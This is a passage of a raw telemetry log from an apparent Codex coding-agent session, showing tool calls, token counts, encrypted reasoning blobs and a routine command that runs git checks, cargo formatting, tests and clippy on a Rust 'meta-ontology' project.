}\n[2026-07-12T04:06:48.791Z] [INFO] \n[2026-07-12T04:06:48.793Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_32\",\"type\":\"reasoning\",\"text\":\"**Considering Rust script compile duration**\"}}\n[2026-07-12T04:06:48.793Z] [INFO] \n[2026-07-12T04:06:49.582Z] [INFO] 2026-07-12T04:06:49.572077Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:30000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:49.582Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:49.582Z] [INFO] \n[2026-07-12T04:06:49.654Z] [INFO] 2026-07-12T04:06:49.654196Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312d6a35481918b6d5f2c34dab161\"\n[2026-07-12T04:06:49.654Z] [INFO] 2026-07-12T04:06:49.654259Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61052 output_token_count=78 cached_token_count=60160 reasoning_token_count=17 tool_token_count=61130 ttft_ms=1515 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:49.654Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:49.654Z] [INFO] 2026-07-12T04:06:49.654280Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61052 output_token_count=78 cached_token_count=60160 reasoning_token_count=17 tool_token_count=61130 ttft_ms=1515 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:49.654Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:49.654Z] [INFO] \n[2026-07-12T04:06:59.721Z] [INFO] 2026-07-12T04:06:59.718171Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_6usBIjpN0OR1kCMKz4oWJZj1 arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:30000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:59.721Z] [INFO]  duration_ms=10144 success=true output=Script running with cell ID 12\n[2026-07-12T04:06:59.721Z] [INFO] Wall time 10.1 seconds\n[2026-07-12T04:06:59.721Z] [INFO] Output:\n[2026-07-12T04:06:59.721Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:59.718Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:59.721Z] [INFO] 2026-07-12T04:06:59.718309Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_6usBIjpN0OR1kCMKz4oWJZj1 duration_ms=10144 success=true arguments_length=174 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:59.718Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:59.721Z] [INFO] 2026-07-12T04:06:59.718693Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_6usBIjpN0OR1kCMKz4oWJZj1 tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10145 total_duration_ms=10145\n[2026-07-12T04:06:59.721Z] [INFO] \n[2026-07-12T04:07:00.038Z] [INFO] 2026-07-12T04:07:00.037652Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:00.038Z] [INFO] \n[2026-07-12T04:07:00.048Z] [INFO] 2026-07-12T04:07:00.045478Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:00.045Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:00.048Z] [INFO] 2026-07-12T04:07:00.045539Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:00.045Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:00.048Z] [INFO] 2026-07-12T04:07:00.045628Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:00.048Z] [INFO] \n[2026-07-12T04:07:01.012Z] [INFO] 2026-07-12T04:07:01.007975Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312e4f89c8191bb77ded4be5a4290\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLkXFXrL6Xmvv45z_tti_bWJUD0Miow1eKgGFY6vzlND9cNYAV9DvKlvQtP80Umhug-c6mKL1t6lT-If-0Vz5hlwGszappXQ0XAIQF_a5ZQYe83ilEXWI6dHf8D-eBm5b8pq5mcDVqC7ghYTAZxJ0CjXXG0H_FEaD4EPm2Xm7gpNa6I4xbzu5w0TKme1flo1P0JO6EDzgnAGFC3PO5EDQNkJbgFHVL01crRtC91O1u7XmTWdTsomLWfw28XE0MnmANK2AZz46B34A1QYFLtqry7oYMjkcIIZ-xVx41RRr2ORKpR-m-zN3MOPDc74lirlpQ3wJxTcfQUyvtmAKkcI7KbmgiIC_8cIOzx4tJ5ciH7kVN3bYz1thSZdRlaP7aBjwrAtuageplhZ4uByOs01oazEY9sRuhscGtTTP2oQyYUIEhCcunvMw6d7Gf5i8uLEr61rbonAND5ARiE4dlMe1wWGQ3UwLyjdLiao4acu5zK_vuU3ncj4klPQmEzcPhB76NUKLolqBIJMxgKHpJinXi__7598HD22sctS7CHKcciYK6TlzJmzo0oobI-QuShoFKaEwyjv25gOJr3pHDWbIQgipm-irW1kk_manzp3HHC576h3lsioyXxpcBsmHK9ueBfTXQAz6o_rC8sY-g-5UYUndWoqLF02PMuswnbmPn6tIzEJEWnngjbpkHxP409EOJZrNcB3PrOZQwuxvMmzZ8Sn6VqXfll9Tyl_BVePCl3x0v7Dh7-K64pzCHLnYntjYq1YbFl5d9lXBR6H_FjMgD3nIIBtXRKvpWcq-fZ731ZWpSso8BhtM0tDP-eXDNwhFu0ZuTS_Vb9OFkggcNf7KF96415gv89Ufq2jzIcjNK-Aq_tsZZYBW77oXeNkvGYJcr9nSB-5RBcNaFtkz_KDFImew==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:01.012Z] [INFO] \n[2026-07-12T04:07:01.567Z] [INFO] 2026-07-12T04:07:01.566753Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312e4f89c8191bb77ded4be5a4290\"), summary: [SummaryText { text: \"**Assessing async function execution**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLl6v-ey-dNZrBijcXWYxMvSM8C6CpQoF6x1rSBp45WS87EyADkpQ7AWyDlcJ52_CtYDa-NGcDSYWYzc5p_YtKQ-z0H8rGEDTBQQ_kQoEoSzNk6ryb3wJfXhkCKaZMqmsF650Ow5GMUXM6ZB-RPKl7rdEaQC9i1KHSbTBkmc7av-3HWVAb5Q3NSLAWBNye1OgXnCbOD7duhTaELN4MUovW4G0dgLIyxA0Q2OdzFs_6ARguj8wkyzZmkVuJi80AGHH0UiRN3KLhSKIc069K0XntBR-WHbS3S27NDS9Te_tuHj-4Hhx2lczfziOEb7_TcSdyM1f7VoegcWEcPNe02VQjVIJKJkuXvR9b1_QhaoT2teDEMf1TyNRprTj_fAdwGnyxAvxJrq9fgtQrwDZ9VYJFDAfiHAMUYkQSlRKBqdcgEvwBM3TxZ6KwvZTCtPuRO8lbdBLHOSXuJto1Lmd51LMHG9JXKRHNFrntTI-qu1ESfHBl1dTvA6ynP7k2eMcmN3lB4LsOJu2_BB34detBVg0YJ0msOJVfd0-LyVUQo5tfYLU7EaDGe7klsjowuWQd0b4hozaaLu2t4y1gh9HFIcQHUc3RzY8kdPE0AsrOSXHCSESlIMvC-XxYT9UE7nugK09JKRQ31keLQGGGapAW1biq2Q0hIYzKiOxgYUAPw0gQq7XMg1esRokTw7jJqGQN0gJ29XIjSFoA6sOGpbdT4C2DHApaXX2MrWF_SkTU1ukkQoYhhp-zQjsJwMPqVaNz1cjrOjPZm67u6t5lYHRWuuWsaW-UID19_cnFVvHrjA71U-hi9iYc79maizUk8dw7vvdWJlAeRy6ZYWFn3GzvwqYCdFbAQMBNi1NEW038Jg6bdVMWop53Q4wLL7v7LifziimgqW6IJutR9t1QPcbxtc2iRBzWqAv6e4U769iEBJt-SVlzUycCa3NDOgTbVSstpRrf5lb3j5M8JmH60uI6nq6nHfh7qxd0rA5wNkub8beZMV10=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:01.567Z] [INFO] \n[2026-07-12T04:07:01.571Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_33\",\"type\":\"reasoning\",\"text\":\"**Assessing async function execution**\"}}\n[2026-07-12T04:07:01.571Z] [INFO] \n[2026-07-12T04:07:01.572Z] [INFO] 2026-07-12T04:07:01.571443Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a5312e58a9c8191b4a895b6bdf47d1c\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_iCkzqXeBlwVPCRW2Lqq0hHHa\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:01.572Z] [INFO] \n[2026-07-12T04:07:01.908Z] [INFO] 2026-07-12T04:07:01.906815Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"12\",\"yield_time_ms\":30000,\"max_tokens\":5000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:01.908Z] [INFO] \n[2026-07-12T04:07:01.916Z] [INFO] 2026-07-12T04:07:01.915096Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312e41c1481919b8b047065898517\"\n[2026-07-12T04:07:01.916Z] [INFO] 2026-07-12T04:07:01.915187Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61158 output_token_count=46 cached_token_count=60160 reasoning_token_count=13 tool_token_count=61204 ttft_ms=963 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:01.915Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:01.916Z] [INFO] 2026-07-12T04:07:01.915216Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61158 output_token_count=46 cached_token_count=60160 reasoning_token_count=13 tool_token_count=61204 ttft_ms=963 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:01.915Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:01.916Z] [INFO] \n[2026-07-12T04:07:10.981Z] [INFO] 2026-07-12T04:07:10.979594Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-af07febf-f4de-4f6b-bcf3-699bd318076c arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":30000,\"max_output_tokens\":5000} duration_ms=21242 success=true output=Chunk ID: 22488b\n[2026-07-12T04:07:10.981Z] [INFO] Wall time: 21.2401 seconds\n[2026-07-12T04:07:10.981Z] [INFO] Process exited with code 127\n[2026-07-12T04:07:10.981Z] [INFO] Original token count: 0\n[2026-07-12T04:07:10.981Z] [INFO] Output:\n[2026-07-12T04:07:10.981Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:10.979Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:10.981Z] [INFO] 2026-07-12T04:07:10.979917Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-af07febf-f4de-4f6b-bcf3-699bd318076c duration_ms=21242 success=true arguments_length=78 output_length=105 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:10.979Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:10.981Z] [INFO] \n[2026-07-12T04:07:11.013Z] [INFO] 2026-07-12T04:07:11.011941Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_iCkzqXeBlwVPCRW2Lqq0hHHa arguments={\"cell_id\":\"12\",\"yield_time_ms\":30000,\"max_tokens\":5000} duration_ms=9101 success=true output=Script completed\n[2026-07-12T04:07:11.013Z] [INFO] Wall time 9.1 seconds\n[2026-07-12T04:07:11.013Z] [INFO] Output:\n[2026-07-12T04:07:11.013Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:11.011Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:11.013Z] [INFO] 2026-07-12T04:07:11.011992Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_iCkzqXeBlwVPCRW2Lqq0hHHa duration_ms=9101 success=true arguments_length=56 output_length=47 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:11.011Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:11.013Z] [INFO] 2026-07-12T04:07:11.012277Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_iCkzqXeBlwVPCRW2Lqq0hHHa tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=9102 total_duration_ms=9102\n[2026-07-12T04:07:11.013Z] [INFO] \n[2026-07-12T04:07:11.065Z] [INFO] 2026-07-12T04:07:11.065181Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:11.065Z] [INFO] \n[2026-07-12T04:07:11.074Z] [INFO] 2026-07-12T04:07:11.073272Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:11.073Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:11.074Z] [INFO] 2026-07-12T04:07:11.073713Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:11.073Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:11.074Z] [INFO] \n[2026-07-12T04:07:11.082Z] [INFO] 2026-07-12T04:07:11.076611Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:11.082Z] [INFO] \n[2026-07-12T04:07:11.092Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_30\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short && find docs/case-studies/issue-5 -type f -print -exec wc -l {} \\\\\\\\; | sed -n '1,120p' && git diff --check && cargo fmt --all -- --check && cargo test --all-features --verbose > /tmp/meta-ontology-issue5-cargo-test.log 2>&1 && cargo test --doc --verbose > /tmp/meta-ontology-issue5-doc-test.log 2>&1 && cargo clippy --all-targets --all-features > /tmp/meta-ontology-issue5-clippy.log 2>&1 && rust-script scripts/check-file-size.rs > /tmp/meta-ontology-issue5-file-size.log 2>&1 && cargo run --quiet --bin meta-ontology -- check-words README.md\\\"\",\"aggregated_output\":\"docs/case-studies/issue-5/source-inventory.md\\n93 